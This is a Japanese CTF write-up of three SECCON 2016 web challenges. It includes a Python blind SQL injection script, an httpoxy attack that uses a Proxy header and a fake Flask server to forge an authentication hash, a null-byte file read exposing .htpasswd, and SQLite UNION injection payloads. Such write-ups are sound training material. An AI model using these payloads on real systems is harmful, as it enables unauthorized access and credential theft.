hiww さん (@hiww) のお誘いでチーム Harekaze として SECCON 2016 Online CTF に参加しました。
最終的にチームで 1300 点を獲得し、チーム順位は 61 位 (得点 930 チーム中) でした。
私は Web カテゴリの問題を中心に取り組んで、
の 3 問を解きました。
チームメンバーの write-up はこちら。
以下、私の write-up です。
以前見たことがあるような競馬のサービスから admin のパスワードを手に入れる問題でした。
どこから攻めればいいのか分からずだいぶ悩んでいましたが、@tatarhy さんのコメントで http://basiq.pwn.seccon.jp/admin/ にアクセスすると認証ダイアログが表示されると分かりました。
これは怪しいと思い、試しにユーザ名に admin
、パスワードに ' or 1;#
と入力するとログインに成功しました。
また、ユーザ名に admin
、パスワードに ' and 0;#
と入力するとログインに失敗しました。
このことから Blind SQLi ができるのではないかと考え、まず以下のコードで確かに情報を抜けることを確認しました。
import requests
import sys
def check(c):
return c == 200
url = 'http://basiq.pwn.seccon.jp/admin/'
query = "' and 0 or substr(version(), {}, 1) <= binary 0x{:x};#"
i = 1
res = ''
while True:
high = 0x7e
low = -1
while abs(high - low) > 1:
mid = (high + low) // 2
c = requests.get(url, auth=('admin', query.format(i, mid)))
if check(c.status_code):
high = mid
else:
low = mid
res += chr(high)
print(i, res)
i += 1
結果は 5.5.50-MariaDB
でした。
続いてどのようなデータベースがあるか確認するため、query
を ' and 0 or substr((select group_concat(distinct hex(table_schema)) from information_schema.tables where table_schema != 'information_schema'), {}, 1) <= binary 0x{:x};#
に変え実行しました。keiba
というデータベースがあると分かりました。
さらに information_schema.columns
からテーブル名とカラム名を抜き出すと、id
name
pass
というカラムを持つ ☹☺☻
(\u2639\u263a\u263b
) というテーブルがあると分かりました。
あとは keiba.☹☺☻
からパスワードを抜き出すだけです。
SECCON{Carnival}
配布された pppppoxy.exe
という実行ファイルを実行すると、ブラウザで 127.0.0.1:81
が開かれました。127.0.0.1:81
では Web アプリが動いており、これの認証を突破する問題でした。この問題は Harekaze が first solve でした。
この問題名から思い出されるのは、httpoxy という脆弱性です。
試しに python -m SimpleHTTPServer 8000
で待ち受けながら curl -X POST http://127.0.0.1:81 --data "user=admin&pass=hoge" -H "Proxy: http://127.0.0.1:8000"
を実行してみました。すると、GET http://127.0.0.1:81/Authenticator?user=admin HTTP/1.0
という HTTP リクエストが飛んできました。ビンゴです。
http://127.0.0.1:81/Authenticator?user=admin
にアクセスすると {"hash":"C432A8174394A3F655B2BD29BB075E4C"}
という JSON が返ってきました。このハッシュは文字数からしておそらく MD5 でしょう。
これを利用して、以下のようなコードを書きました。
from flask import Flask
app = Flask(__name__)
@app.errorhandler(404)
def not_found(e):
return '{"hash":"21232F297A57A5A743894A0E4A801FC3"}', 404
if __name__ == "__main__":
app.run(port=8000)
これを動かしながら curl -X POST http://127.0.0.1:81 --data "user=admin&pass=admin" -H "Proxy: http://127.0.0.1:8000"
を実行するとフラグが出ました。
SECCON{D5691FB40B2AF60CA78DA78AC65A71E2}
シェルスクリプトやらなんやらを実行できる Web アプリと、その Web アプリからのみアクセスできる Web アプリがあり、前者から後者を攻略する問題でした。
この問題もどこから攻めればいいのかが分からず悩んでいましたが、curl "http://127.0.0.1:81/select.cgi?txt=a.txt%00"
のように null バイトを入れるとよいと気付いて進捗しました。
/authed/
下を見る認証に必要な情報を得るために http://127.0.0.1:81/select.cgi?txt=.htaccess%00
で .htaccess
を抜き出しました。
AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName "SECCON 2016"
AuthType Basic
Require user keigo
認証に使用するユーザ名とパスワードの一覧は .htpasswd
に格納されているようです。同じように抜き出しました。
keigo:LdnoMJCeVy.SE
gen さん (@neglect_yp) がパスワードは test
であるとコメントされていたので、得られた情報から /authed/
下を見ると以下のような構成になっていました。
[TXT] a.txt 30-Nov-2016 09:59 888
[TXT] b.txt 28-Nov-2016 12:00 78
[TXT] c.txt 30-Nov-2016 10:04 48
[DIR] sqlinj/ 28-Nov-2016 11:41 -
/authed/sqlinj/
下は {1..100}.cgi
という感じで 100 個のファイルがあり、そのいずれかで SQLi が行えるようでした。
HTML のコメントに <!-- by KeigoYAMAZAKI, 2016.11.25- -->
とあったため、SQLite
を使用していると考え、以下のコードでどのファイルで SQL インジェクションが行えるか確かめました。
#!/usr/bin/python
import requests
for x in range(1, 101):
print '[' + str(x) + ']'
print requests.get('http://127.0.0.1:81/authed/sqlinj/{0}.cgi?no=\'||\'4822267938'.format(x), auth=('keigo', 'test')).content
72.cgi
で SQL インジェクションが行えると分かりました。あとはやるだけです。
http://127.0.0.1:81/authed/sqlinj/72.cgi?no=4822267939' union select 1, 2, (select group_concat(sql) from sqlite_master) where 1 or '
で f1ag
というカラムを持つ f1ags
というテーブルがあると分かります。
select group_concat(sql) from sqlite_master
を select group_concat(f1ag) from f1ags
に変えるとフラグが出ました。
SECCON{I want to eventually make a CGC web edition... someday...}